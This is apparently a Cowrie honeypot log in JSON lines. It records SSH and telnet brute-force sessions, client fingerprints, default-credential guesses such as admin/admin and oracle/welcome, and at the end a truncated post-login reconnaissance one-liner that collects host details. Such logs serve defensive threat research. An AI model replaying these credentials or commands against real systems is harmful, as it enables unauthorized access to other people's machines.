cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:06.489113Z","src_ip":"148.66.142.9","session":"6b4d6f38f1da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:07.194141Z","src_ip":"148.66.142.9","session":"6b4d6f38f1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:07.437515Z","src_ip":"148.66.142.9","session":"6b4d6f38f1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":30108,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1684d762721","protocol":"ssh","message":"New connection: 130.12.180.51:30108 (10.17.0.5:22) [session: c1684d762721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:08.526479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:08.536483Z","src_ip":"130.12.180.51","session":"c1684d762721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:08.941871Z","src_ip":"130.12.180.51","session":"c1684d762721","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:09.187677Z","src_ip":"130.12.180.51","session":"c1684d762721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:10.590334Z","src_ip":"130.12.180.51","session":"c1684d762721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":53110,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae55c295ba90","protocol":"ssh","message":"New connection: 91.92.40.10:53110 (10.17.0.5:22) [session: ae55c295ba90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:23.489566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:23.530212Z","src_ip":"91.92.40.10","session":"ae55c295ba90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:23.610666Z","src_ip":"91.92.40.10","session":"ae55c295ba90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1","message":"login attempt [developer/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:24.215137Z","src_ip":"91.92.40.10","session":"ae55c295ba90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:25.337003Z","src_ip":"91.92.40.10","session":"ae55c295ba90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58926,"dst_ip":"159.203.135.109","dst_port":23,"session":"74329a393051","protocol":"telnet","message":"New connection: 137.184.5.188:58926 (159.203.135.109:23) [session: 74329a393051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:27.365263Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":47666,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f2fa4cc000","protocol":"ssh","message":"New connection: 162.241.132.183:47666 (10.17.0.5:22) [session: 00f2fa4cc000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:47.975216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:47.979290Z","src_ip":"162.241.132.183","session":"00f2fa4cc000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:48.010942Z","src_ip":"162.241.132.183","session":"00f2fa4cc000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"UNI$S3cur3@W0rd","message":"login attempt [root/UNI$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:48.101255Z","src_ip":"162.241.132.183","session":"00f2fa4cc000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:49.133591Z","src_ip":"162.241.132.183","session":"00f2fa4cc000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":52242,"dst_ip":"10.17.0.5","dst_port":22,"session":"49886c7b39c5","protocol":"ssh","message":"New connection: 103.82.36.79:52242 (10.17.0.5:22) [session: 49886c7b39c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:49.759227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:49.763346Z","src_ip":"103.82.36.79","session":"49886c7b39c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:50.021606Z","src_ip":"103.82.36.79","session":"49886c7b39c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:50.796119Z","src_ip":"103.82.36.79","session":"49886c7b39c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:52.059211Z","src_ip":"103.82.36.79","session":"49886c7b39c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50476,"dst_ip":"159.203.135.109","dst_port":22,"session":"405b0ae3b30a","protocol":"ssh","message":"New connection: 51.250.105.222:50476 (159.203.135.109:22) [session: 405b0ae3b30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:54.248175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:54.251739Z","src_ip":"51.250.105.222","session":"405b0ae3b30a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:54.381936Z","src_ip":"51.250.105.222","session":"405b0ae3b30a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:54.765745Z","src_ip":"51.250.105.222","session":"405b0ae3b30a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:55.892967Z","src_ip":"51.250.105.222","session":"405b0ae3b30a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":51152,"dst_ip":"10.17.0.5","dst_port":22,"session":"020bd78c168a","protocol":"ssh","message":"New connection: 176.53.159.196:51152 (10.17.0.5:22) [session: 020bd78c168a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:00.764883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:00.769748Z","src_ip":"176.53.159.196","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:00.870637Z","src_ip":"176.53.159.196","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:01.174073Z","src_ip":"176.53.159.196","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:01.278282Z","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:01.383466Z","src_ip":"176.53.159.196","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:01.504689Z","src_ip":"176.53.159.196","session":"020bd78c168a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00190234184265,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:01.999534Z","src_ip":"137.184.5.188","session":"5e41984e6c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.44472789764404,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:21.809862Z","src_ip":"137.184.5.188","session":"74329a393051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd27902d704c","protocol":"ssh","message":"New connection: 91.92.40.176:58222 (10.17.0.5:22) [session: cd27902d704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.125436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.131734Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.216008Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"welcome","message":"login attempt [oracle/welcome] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.464700Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.834341Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep 